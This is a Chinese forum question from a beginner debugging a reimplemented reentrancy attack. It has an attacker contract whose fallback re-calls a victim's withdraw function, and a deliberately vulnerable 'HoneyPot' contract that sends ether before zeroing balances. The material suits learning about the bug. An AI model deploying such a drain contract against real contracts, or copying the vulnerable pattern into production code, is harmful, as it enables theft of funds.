我在毅力上还很新。 我正在尝试重新实施重新进入攻击。
我是通过下面的智能合约来工作的。
// import "./HoneyPot.sol";
contract HoneyPotCollect {
HoneyPot public honeypot;
event logString(string);
event logfallback(uint, uint);
address honeypot_addr;
constructor (address _honeypot) public {
honeypot = HoneyPot(_honeypot);
honeypot_addr = _honeypot;
}
function kill () public{
selfdestruct(msg.sender);
}
function collect() public payable {
honeypot.put.value(msg.value)();
bool res = honeypot.get();
}
function () external payable {
uint balance = honeypot.balances(msg.sender);
emit logfallback(honeypot_addr.balance, msg.value);
if (honeypot_addr.balance > msg.value) {
emit logString("callback");
bool res = honeypot.get();
}
}
}
contract HoneyPot {
mapping (address => uint) public balances;
constructor() public payable {
put();
}
function put() public payable {
balances[msg.sender] = msg.value;
}
function get() public payable {
(bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
require(succ);
balances[msg.sender] = 0;
}
}
但是。在我更改了代码的第二部分后,即合同HoneyPot。当我在HoneyPotCollect中调用函数collect()时,无法调用HoneyPotCollect的后备功能。
更改只是使HoneyPot中的get()函数返回布尔类型。
contract HoneyPot {
mapping (address => uint) public balances;
constructor() public payable {
put();
}
function put() public payable {
balances[msg.sender] = msg.value;
}
function get() public payable returns (bool success) {
(bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
require(succ);
balances[msg.sender] = 0;
return true;
}
}
编辑1: 我刚刚发现解决方案是将两个合同合并到一个文件中。问题解决了。 然而,还有另一个问题。 如果我对这一行发表评论,那么后备功能也不会被激活。
require(succ)
整个代码如下:
contract HoneyPot {
mapping (address => uint) public balances;
constructor() public payable {
put();
}
function put() public payable {
balances[msg.sender] = msg.value;
}
function get() public payable returns (bool success) {
(bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
//require(succ);
balances[msg.sender] = 0;
return true;
}
}
请帮助!预先感谢。